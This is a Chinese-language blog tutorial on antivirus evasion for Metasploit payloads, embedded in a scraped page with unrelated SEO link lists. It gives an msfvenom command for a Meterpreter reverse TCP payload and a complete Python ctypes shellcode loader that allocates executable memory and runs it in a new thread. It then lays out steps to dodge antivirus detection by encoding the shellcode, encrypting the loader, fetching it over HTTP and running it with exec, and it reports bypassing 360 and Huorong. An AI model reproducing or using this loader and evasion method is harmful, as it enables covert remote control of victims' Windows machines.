当前位置: 首页 > news >正文

网站开发框架 开源手机网站seo

网站开发框架 开源,手机网站seo,网站建设费用报告,鞭打wordpressMsf之Python分离免杀 ——XyLin. 成果展示: VT查杀率:8/73 (virustotal.com) 火绒和360可以过掉,但Windows Defender点开就寄掉了 提示:我用360测的时候,免杀过了,但360同时也申报了,估计要不了多久就寄…

Msf之Python分离免杀

——XyLin.

成果展示:

VT查杀率:8/73 (virustotal.com)

火绒和360可以过掉,但Windows Defender点开就寄掉了

提示:我用360测的时候,免杀过了,但360同时也申报了,估计要不了多久就寄掉了

一:生成ShellCode代码

Msfvenom -p “Payload” lhost=“IP”lport=“port” -f python  > file.py

Windows操作系统现如今都是x64位

所以payload采取windows/x64/meterpreter/reverse_tcp

运行后得到shellcode,将其全部复制,丢进Python里面,进行加密处理

这里采用的是base64加密,base64的特征:加密后的内容中只会出现52个大小写字母、10个数字和”+”,”=”号, 这样的话可以把很多汉字,特殊字符转为字母便于后期自己写加密,

本文中采取的加密是我个人写的

将加密后的shellcode扔进shellcode加载器中

import ctypes
import base64buf = base64.b64decode("密文".encode("utf8"))shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

### 到此我来讲解一下我的免杀思路:

  1. 将shellcode转为base64编码,避免被静态查杀
  2. 把加载器的源代码加密后,放入txt文本中
  3. 通过Python自带的http服务开启网页,把txt放入网页,用requests来请求加载器
  4. 然后通过exec函数来执行
  5. 为了避免360查出加密内容,我们将加载器的源代码再次加密,得到密文字符串后,放 入新的文件中,并将其做成函数库的形式
  6. 在新的文件中调用上文的函数库,并用exec执行,即可免杀

### 加载器讲解:

// 所有的值都要经过ctypes.c_int()转换为C语言类型

1. 将生成的shellcode转为字节数组方便Ctypes函数库处理

shellcode = bytearray(buf)

 2. 设置内存的返回值为64位

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

3. 创建内存空间

  1. 第一个0表示系统自动分配内存,
  2. 第二个表示分配内存空间大小
  3. 0x3000是0x1000 || 0x2000表示即分配物理内存又分配虚拟内存
  4. 0x40表示该内存赋予可读写的权限
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))

4. 将shellcode字节数组变为字符数组,并放入缓冲区

字符数组的长度位shellcode的长度

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

5. 将shellcode代码移入开辟的新内存

  1. 第一个表示移动到哪个位置,需要内存空间转化为64位
  2. 第二个是需要移动的值
  3. 第三个是需要移动的字符长度
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))

6. 启动线程,执行shellcode

注:只要是内存空间,都转换为64位

  1. 第一个0表示线程系统默认的线程安全
  2. 第二个0表示线程默认的大小
  3. 第三个表示执行哪个内存空间的值
  4. 第四个0表示该内存不传参
  5. 第五个0表示立即执行
  6. 第六个0表示线程ID
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), # 线程默认安全ctypes.c_int(0), # 线程默认大小ctypes.c_uint64(ptr), # 需执行的内存空间ctypes.c_int(0), # 表示无传参ctypes.c_int(0), # 表示立即执行ctypes.pointer(ctypes.c_int(0))) # 表示线程ID

7. 无限等待线程结束

  1. 第一个表示需要等待的线程
  2. 第二个中的-1表示无限等待
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

讲完加载器,那么我们来讲解分离免杀

分离免杀:顾名思义就是加载器的代码与执行加载器的代码分开写

上面思路讲到加载器的代码加密后放入txt文本中

我们使用python自带的http服务把txt中的内容变成网页

python -m http.server "port"

后面使用requests.get()的形式把加密后的加载器给取下来,然后采取exec来执行加载器

由于代码中exec与密文的解密同时出现,导致会被杀软列入黑名单

所以我就想既然又要加密解密,又要exec函数,该用啥实现呢?

后面想到采用函数库调用的方式来实现

先将上述代码加密,然后放入新建的一个python文件中, 并把它制成函数

然后在用调用这个自定义函数,然后执行, 加一个try,来进行无限重连

以下为最终代码

成功上线!!!

http://www.yayakq.cn/news/522144/

相关文章:

  • 贵阳企业自助建站系统专门做宠物食品的网站
  • 网站首页快照不更新做网站推广产品
  • 宁波住房和城乡建设培训网站网站建设与推广培训学校
  • 网站建设定金合同范本合肥关键词快速排名
  • 网站建设代理商电话重庆网站设计软件
  • 新乡做网站的潍坊网站建设推广报价
  • 做网站互联网公司手机logo免费设计软件
  • 网站运营与推广门户网站建设议题汇报材料
  • 做网站必须学php吗网站建设规划书百度文库
  • 什么样的网站不备案网页设计实训报告三个步骤
  • 在一个网站下建设多个子网站旅游网站建设技术有哪些方面
  • 怎么在本机做网站今天重大新闻50字
  • 网站检测ps的logo设计制作
  • 有什么好网站做浏览器主页网站开发人员 怎么保存
  • 网站建设自学建站视频教程东莞网站建设时间
  • 山西建设行政主管部门官方网站个人住房公积金贷款
  • 电子商务企业网站建设前期规划方案域名停域app免费下载
  • asp.net制作的网站开发怎样用自己的电脑做网站
  • 景区智慧旅游网站建设自媒体营销推广
  • 良精企业网站管理系统搜索关键词推荐
  • 最大的做网站公司内蒙古众信国际旅行社电话
  • 綦江建站哪家正规网站开发 php python
  • 网站多少个关键词斗蟋蟀网站建设
  • 室内设计软件大全网站电商seo优化是什么意思
  • 徐州网站无障碍建设上海室内设计公司
  • 找人做网站做小程序动漫制作技术专业
  • 宜春网站建设推广服务器租用
  • 如何免费建网站赚钱重庆建站模板
  • vs 手机网站开发网站开发 建设叫什么
  • 西安企业网站建设哪家好wordpress 设计套程序